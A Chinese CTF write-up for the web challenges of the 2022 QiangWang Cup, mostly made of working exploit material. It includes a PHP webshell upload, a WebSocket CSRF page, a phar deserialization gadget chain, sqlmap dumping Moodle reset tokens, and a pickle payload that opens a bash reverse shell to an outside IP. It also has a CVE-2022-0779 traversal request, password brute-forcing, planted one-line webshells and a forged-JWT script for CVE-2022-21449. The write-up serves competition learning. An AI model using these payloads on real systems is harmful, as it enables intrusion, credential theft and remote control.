2022强网杯web方向wp
签到
rcefile
考点:文件泄露,spl_autoload_register的可能性利用、文件上传、文件包含、反序列化
1.扫描目录存在www.zip,存在源码泄露
2.代码审计,
写一个inc文件:内容为<?php system("cat /flag");?>
上传该文件,修改类型为image/jpeg
2.进行反序列化,new一个类
<?php
class ca484205f5d3c5c5d192ffa51faa6f1e{
function __construst(){
}
}
$g1ory =new ca484205f5d3c5c5d192ffa51faa6f1e();
echo serialize($g1ory)
?>
O:32:"ca484205f5d3c5c5d192ffa51faa6f1e":0:{}
3.抓包将反序列化的值赋值给userfile,发包得到fla
babyweb
考点 csrf、条件竞争
1.注册普通用户
2.利用vps,http服务伪造一个html页面
<script>
var ws = null;
var url = "ws://127.0.0.1:8888/bot";
ws = new WebSocket(url);
ws.onopen = function (event) {
console.log('connection open!')
var msg = "changepw hacker";
ws.send(msg);
}
ws.onmessage = function (ev) {
console.log(ev.data);
};
</script>
密码修改成功
使用admin权限登录
3.尝试买一个hint
存在源码文件
代码审计:
app.py
for i in product:
if not isinstance(i["id"],int) or not isinstance(i["num"],int):
return "not int"
if i["id"] not in (1,2):
return "id error"
if i["num"] not in (0,1,2,3,4,5):
return "num error"
result[i["id"]] = i["num"]
pay.go
money, err := jsonparser.GetInt(json, "money")
if err != nil {
fmt.Println(err)
}
_, err = jsonparser.ArrayEach(
json,
func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
id, _ := jsonparser.GetInt(value, "id")
num, _ := jsonparser.GetInt(value, "num")
if id == 1{
cost = cost + 200 * num
}else if id == 2{
cost = cost + 1000 * num
}else{
err1 = 1
}
},
"product")
根据两个文件的条件判断,可构造json如下
首先抓包->改写json->发包
{"product":[{"id":1,"num":0},{"id":2,"num":-1}],"product":[{"id":1,"num":0},{"id":2,"num":1}]}
进行条件竞争
页面回显flag
easyweb
考点:任意文件读取,反序列化,phar
1.读取文件
发现可读取
<?php
$upload = md5("2022qwb".$_SERVER['REMOTE_ADDR']);
@mkdir($upload, 0333, true);
if(isset($_POST['submit'])) {
include 'upload.php';
}
?>
</form>
</body>
再度=读取upload.php文件
<?php
error_reporting(0);
require_once('class.php');
if(isset($_SESSION)){
if(isset($_GET['fname'])?!empty($_GET['fname']):FALSE){
$_FILES["file"]["name"] = $_GET['fname'];
}
$upload = new Upload();
$upload->upload();
}else {
die("<p class='tip'>guest can not upload file</p>");
}
?>
再读取class.php
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
function do_upload() {
$filename = session_id().explode(".",$this->file["name"])[0].".jpg";
if(file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
}
function e($str){
return htmlspecialchars($str);
}
function upload() {
if($this->check()) {
$this->do_upload();
}
}
function __toString(){
return $this->file["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
function check() {
$allowed_types = array("jpg","png","jpeg");
$temp = explode(".",$this->file["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Invalid file!';
return false;
}
}
}
class GuestShow{
public $file;
public $contents;
public function __construct($file)
{
$this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "<img src={$src} />";
}
function __destruct(){
echo $this;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
if(preg_match('/usr|auto|log/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";
}
public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}
2.phar反序列化,生成phar文件,修改后缀为.jpg
代码如下:
<?php
class GuestShow{
}
class Upload{
}
class AdminShow{
}
$a = new GuestShow();
$a->file = new AdminShow();
$b = new GuestShow();
$b->file = new Upload();
$b->file->tmp = $a->file;
$a->file->str[0] = new Upload();
$a->file->str[0]->date = "";
$a->file->str[0]->filesize = $b->file->tmp;
$a->file->str[1] = new Upload();
$a->file->str[1]->date = "http://47.104.95.124:8080";
$a->file->str[1]->filesize = $b->file->tmp;
$a->file->str[1]->tmp = $a;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER();?>");
$phar->setMetadata($b);
$phar->addFromString("xxx.txt", "xxx");
$phar->stopBuffering();
?>
3.上传文件phar.jpg
利用phar协议触发ssrf再去读取内网IP
4.再次使用showfile.php读取etc/hosts文件
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2 baab0304575e
10.10.10.5 baab0304575e
存在172段和10段,猜测是10段,但是不知道是哪一个c段
猜测在5到10段之间,10段正好可以
得到flag
easybaby
考点:moodel sql注入,修改密码 ,上传zip文件RCE
1.sqlmap获取token
sqlmap -r x.txt --random-agent --dbms=mysql --batch -D moodle -T mdl_user_password_resets --dump --fresh-queries
此时利用token去修改密码
2.上传zip文件rce
上传的文件不需要本地写,
https://github.com/HoangKien1020/Moodle_RCE
https://blog.csdn.net/weixin_45007073/article/details/121365871
接下来就是找flag
crash
1.考虑到该环境需要504页面,504页面需要延时才能看到,并且过滤了关键字符
采用base64编码绕过
2.首先抓login的包(需要刷新几次)
import base64
arg=b'''(cos system S'bash -c "bash -i >& /dev/tcp/101.43.62.74/4443 0>&1"' o.'''
print(base64.b64encode(arg))
退回刷新
再抓/balancer的包
shell成功反弹
shell中有python换进,可以直接执行py文件还是要进行base64编码,主要的问题是要让服务延时,脚本如下
from flask import Flask
import time
app = Flask(__name__)
@app.route('/')
def hello_world():
time.sleep(9999999999999)
return 'flask'
if __name__ == '__main__':
app.run(port=5000)
ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2sKaW1wb3J0IHRpbWUKYXBwID0gRmxhc2soX19uYW1lX18pCkBhcHAucm91dGUoJy8nKQpkZWYgaGVsbG9fd29ybGQoKToKICAgIHRpbWUuc2xlZXAoOTk5OTk5OTk5OTk5OSkKICAgIHJldHVybiAnZmxhc2snCmlmIF9fbmFtZV9fID09ICdfX21haW5fXyc6CiAgICBhcHAucnVuKHBvcnQ9NTAwMCk=
在shell中写入该文件,并执行,访问页面即可
访问首页即可的到flag
WP-UM
附件中下载是docker文件,在虚拟机运行提供的命令即可运行
进入docker容器,给自己写一句话
用蚁剑连接
按照惯例应该在数据库中,但蚁剑查看不到数据库内容,转到哥斯拉中
然后下发容器,渗透容器。发现docker环境中有User Meta Lite插件。
该插件可以获取指定目录下是否存在某个文件,docker中将账号和密码存放在/username和/password中
所以下发的容器应该也是相同路径。
利用CVE- 2022-0779漏洞可以判断是否存在指定文件
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 147
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [your-wordpress-auth-cookies]
Connection: close
field_name=[your-field-name]&filepath=/../../../../../etc/passwd&field_id=[your-field-id]&form_key=[your-form-key]&action=um_show_uploaded_file&pf_nonce=[your-auth-nonce]&is_ajax=true
注册用户,上传抓包,放到Burpsuit爆破模块中,已知用户名只需要密码即可
第一位加载1-40的数字,第二位加载A-Z和a-z的字母即可
爆破出密码MaoGeYaoQiFeiLa
已知用户名MaoGePaMao
即可登陆后台/wp-admin
在后台主题文件编辑器中修改文件写入一句话
在数据库中翻找flag也没找到,发现容器和docker根目录下缺少/secretpath/ 一番翻找可找到
myJWT
cve-2022-21449
签名为空即可通过校验
import com.alibaba.fastjson2.JSONObject;
import java.util.Base64;
import java.util.Scanner;
public class Main {
public static String generateToken(String user) throws Exception {
JSONObject header = new JSONObject();
JSONObject payload = new JSONObject();
header.put("alg", "myES");
header.put("typ", "JWT");
String headerB64 = Base64.getUrlEncoder().encodeToString(header.toJSONString().getBytes());
payload.put("iss", "qwb");
payload.put("exp", System.currentTimeMillis()*2);
payload.put("name", user);
payload.put("admin", true);
String payloadB64 = Base64.getUrlEncoder().encodeToString(payload.toJSONString().getBytes());
String content = String.format("%s.%s", headerB64, payloadB64);
byte[] sig = new byte[64];
String sigB64 = Base64.getUrlEncoder().encodeToString(sig);
return String.format("%s.%s", content, sigB64);
}
public static void attack() throws Exception {
Scanner input = new Scanner(System.in);
System.out.print("your name:");
String user = input.nextLine().strip();
System.out.print(String.format("hello %s.\n", user));
String token = generateToken(user);
System.out.print("your token:");
System.out.println(token);
}
public static void main(String[] args) throws Exception{
attack();
}
}